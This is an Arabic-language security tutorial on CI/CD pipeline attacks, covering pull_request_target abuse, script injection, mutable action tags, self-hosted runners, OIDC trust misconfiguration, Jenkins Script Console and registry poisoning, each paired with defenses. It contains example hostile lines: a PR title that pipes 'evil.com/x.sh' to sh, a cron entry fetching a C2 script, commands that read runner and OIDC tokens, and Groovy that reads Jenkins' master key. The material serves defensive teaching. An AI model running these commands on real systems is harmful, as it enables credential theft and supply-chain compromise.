الفرق الحمراء — الهجومخبير85mL72

CI/CD Attacks — الـ Pipeline اللي بيخش لـ prod

GitHub Actions و GitLab CI و Jenkins — secrets و runners و artifacts

#CI/CD#GitHub Actions#Jenkins#OIDC#SLSA

ليه CI/CD هدف ذهبي؟

سؤال بسيط: مين عنده صلاحيات أكتر من المدير التقني نفسه في الشركة؟

- المبرمج يا حضرتك؟

لأ.

- طب الـ DBA؟

لأ يا مستجد.

الـ runner اللي شغّال في GitHub Actions، اللي محدش بيبص ناحيته من 3 سنين. هو اللي عنده cloud admin، registry write، deploy keys، و secrets كل الإنتاج. كله في pod واحد.

تشبيه — شرح مبسط
المصنع مش بيحرس نفسه عند خط التجميع، هو بيحرس البوابة. الـ CI/CD هو خط التجميع: أي حد بيحط حاجة صغيرة عليه، بتوصل لكل عربية بتطلع منه. ولو حد دسّ سطر في workflow، السطر ده بيتنفّذ بصلاحيات الإنتاج. مش صلاحيات بتاعتك أنت.
حصل فعلياً، مش سيناريو
SolarWinds (2020) ماكانش phishing عبيط — كان اختراق build server زرع SUNBURST في كل update موقّع رقمياً. 18,000 شركة (ومنهم وزارات أمريكية) نزّلوا الباب الخلفي بإيدهم. CodeCov (2021)، Circle CI (2023)، tj-actions (2025) — كلها نفس القصة بأسماء مختلفة. الـ "shift left" نقل معاه الجبهة لـ left ومحدش انتبه.
اوعى تعمل الغلطات دي
  • بيستخدم actions/checkout@v4 بـ tag بدل full SHA — والـ tag mutable ممكن المهاجم يحرّكه على commit خبيث (زي اللي حصل لـ tj-actions).
  • بيحط echo $TOKEN في job "عشان debug" وبعدين الـ logs بقت علنية.
  • بيشغّل self-hosted runner على repo public وبيستغرب لما حد يبعت PR من fork ينفّذ كود على جهازه الفعلي.
  • بيظبّط OIDC trust policy بـ sub: repo:my-org/* — فأي repo في الـ org بياخد دور الـ AWS prod.
  • بيخلط pull_request_target مع checkout للـ PR ref ومعاه secrets — كومبو الموت.

نقاط الدخول الرئيسية

Pull Request poisoning
PR من حد بره الـ org بيعدل ملف workflow — أو بيضيف dependency خبيثة — وبيشتغل بصلاحيات الـ runner المتميز قبل أي مراجعة.
Secrets في logs / artifacts
echo $TOKEN أو printenv في job، وبعدين الـ logs بتبقى علنية. أو artifact مش مقصود اتحفظ.
Self-hosted runners
Runner مستمر، صعب تنضفه بين jobs. PR من fork بيوصل لجهاز فعلي ويفضل قاعد فيه.
OIDC misconfig
ربط GitHub Actions بـ AWS/Azure عن طريق OIDC وحط sub: * أو نسيت فلتر الفرع → أي repo في الـ org بياخد الهوية.
Branch protection bypass
حسابات bot بتتخطى الـ review. أو token معاه contents: write بيكتب على فرع محمي عن طريق الـ API.
Dependency confusion
تنشر package داخلية بنفس الاسم على npm/pypi العلني → الـ CI بيسحب الخبيثة لأن الـ resolver مش بيفرق.

GitHub Actions — أكتر سطح بيتضرب

1) pull_request_target — الفخ الكلاسيكي

yaml
# خطير! يُشغّل بصلاحيات repo (secrets) لكن مع كود الـ PR
on: pull_request_target
jobs:
  build:
    steps:
      - uses: actions/checkout@v4
        with:
          ref: ${{ github.event.pull_request.head.sha }}    # كود غير موثوق!
      - run: npm install && npm run build                   # ينفّذ scripts الخبيثة
        env:
          NPM_TOKEN: ${{ secrets.NPM_TOKEN }}              # السرّ مكشوف

الحل: استخدم pull_request العادي (مفيش secrets على PRs خارجية)، أو افصل: workflow بدون امتيازات بيبني، وworkflow تاني بيستخدم الـ secrets بس بعد label يدوي.

2) Script injection عبر context

yaml
- run: echo "Title: ${{ github.event.pull_request.title }}"
  # عنوان PR مثل: $(curl evil.com/x.sh | sh) — ينفّذ على الـ runner!

الحل: مرر القيم عبر env:

yaml
- run: echo "Title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

3) Third-party action مثبّتة بـ tag (mutable)

yaml
- uses: tj-actions/changed-files@v44   # tag يمكن تحريكه!
# في 2025 تم اختراق tj-actions و أُعيد توجيه v44 لـ commit يسرّب secrets

الحل: ثبّت بـ SHA كامل:

yaml
- uses: tj-actions/changed-files@a284dc1814e3fd07f2e34267fc8f81227ed29fb8   # v44.5.7

Self-hosted runners — أخطر منشأة في خط الـ CI/CD

$ # داخل runner مخترق — استمرارية:
$ echo '* * * * * curl https://c2/x.sh | bash' >> ~/.cron
$ # سرقة GITHUB_TOKEN لأي job يعمل بعدك
$ cat /tmp/_runner_file_commands/* 2>/dev/null
$ # سرقة OIDC token (يفتح AWS/Azure)
$ echo $ACTIONS_ID_TOKEN_REQUEST_TOKEN
$ echo $ACTIONS_ID_TOKEN_REQUEST_URL
قاعدة
متشغّلش self-hosted runners على مستودعات عامة أبداً. لو مضطر: استخدم ephemeral runners (VM جديد لكل job) واعزلها على شبكة معندهاش وصول لـ prod.

OIDC misconfiguration — اختراق سحابي من غير باسورد

json
// AWS Trust policy خطر — أي workflow في الـ org يأخذ الدور!
{
  "Effect": "Allow",
  "Principal": { "Federated": "arn:aws:iam::1234:oidc-provider/token.actions.githubusercontent.com" },
  "Action": "sts:AssumeRoleWithWebIdentity",
  "Condition": {
    "StringLike": {
      "token.actions.githubusercontent.com:sub": "repo:my-org/*"   // <— خطأ
    }
  }
}

الصح: قيّد بفرع محدد وrepo محدد:

text
"token.actions.githubusercontent.com:sub": "repo:my-org/my-repo:ref:refs/heads/main"

Jenkins — قديم وفيه مفاجآت

  • Script Console (/script) → تنفيذ Groovy = root على الـ master. ناس كتير سايبه مكشوف.
  • build with parameters → injection في shell step.
  • credentials.xml على الـ master فيه كل الأسرار مشفرة بمفتاح موجود جنبها. تحفة، مش كدة؟
$ # اكتشاف Jenkins مكشوف
$ shodan search 'http.title:"Dashboard [Jenkins]" http.html:"sign up"'
$ # لو وصلت Script Console:
$ # Manage Jenkins → Script Console:
$ println "id".execute().text
$ println new File('/var/lib/jenkins/secrets/master.key').text

Container registries والـ artifacts

سرقة push token = نشر صورة خبيثة بنفس الاسم. كل اللي بيسحب latest بينفذها على نفسه.

bash
# Docker Hub — push صورة مع entrypoint خبيث
docker build -t myorg/app:latest -f Dockerfile.evil .
docker push myorg/app:latest

# الحماية: image signing
cosign sign --key cosign.key myorg/app:sha256@...
cosign verify --key cosign.pub myorg/app:latest    # في deploy step

SLSA و Sigstore — توقيع موثوق

SLSA (Supply-chain Levels for Software Artifacts) إطار من Google بيحدد مستويات النضج. الهدف: كل artifact بييجي معاه provenance موقّعة بتثبت مين بناه ومن فين.

  • Sigstore / cosign — توقيع keyless عن طريق OIDC (Fulcio CA + Rekor transparency log).
  • SLSA Level 3: build على hosted ephemeral runner، provenance مينفعش تتزور.
  • التحقق في admission: Kubernetes + Kyverno/Connaisseur بيرفضوا الـ pods من غير توقيع.

الكشف والحماية

ضوابط حاسمة
  1. Pin الـ actions بـ SHA، مش tags. أتمتها عن طريق Dependabot/Renovate.
  2. تجنب pull_request_target + checkout للـ PR ref في نفس الـ workflow.
  3. OIDC: حدد الـ sub بدقة (repo + ref). مفيش wildcards.
  4. Secret scanning + push protection على كل repo.
  5. Branch protection: required reviews، signed commits، linear history.
  6. Ephemeral runners بس، خصوصاً للمستودعات العامة.
  7. Network egress من الـ runners → allowlist معروف بس.
  8. Audit logs للـ org → SIEM. راقب: secret scanning bypass، ربط OIDC جديد، ترقية صلاحيات.
MITRE ATT&CK
T1195.002 (Compromise Software Supply Chain) · T1078.004 (Cloud Accounts) · T1053.005 (Scheduled Task: Pipeline) · T1098 (Account Manipulation).

الخلاصة الناشفة

الـ CI/CD مش أداة DevOps. هو أعلى صلاحيات في شركتك مجمّعة في process مفيش حد بيراقبه.

اكتبها على الحيطة اللي في وش السرير:

مفيش pinning بـ SHA؟ يبقى أنت بتثق في صاحب الـ repo التاني عشان ما يحرّكش الـ tag.

OIDC مفتوح بـ wildcard؟ يبقى أنت بتدّي AWS لأي repo في الـ org.

self-hosted runner على repo عام؟ يبقى أنت بتدّي shell على بنيتك لأي حد فاتح GitHub.

الـ pipeline ده مش بتاع المبرمجين لوحدهم. هو بتاع الـ security team برضو. لو سيبته لوحدهم يظبّطوه، الكارثة جاية. السؤال بس: إمتى.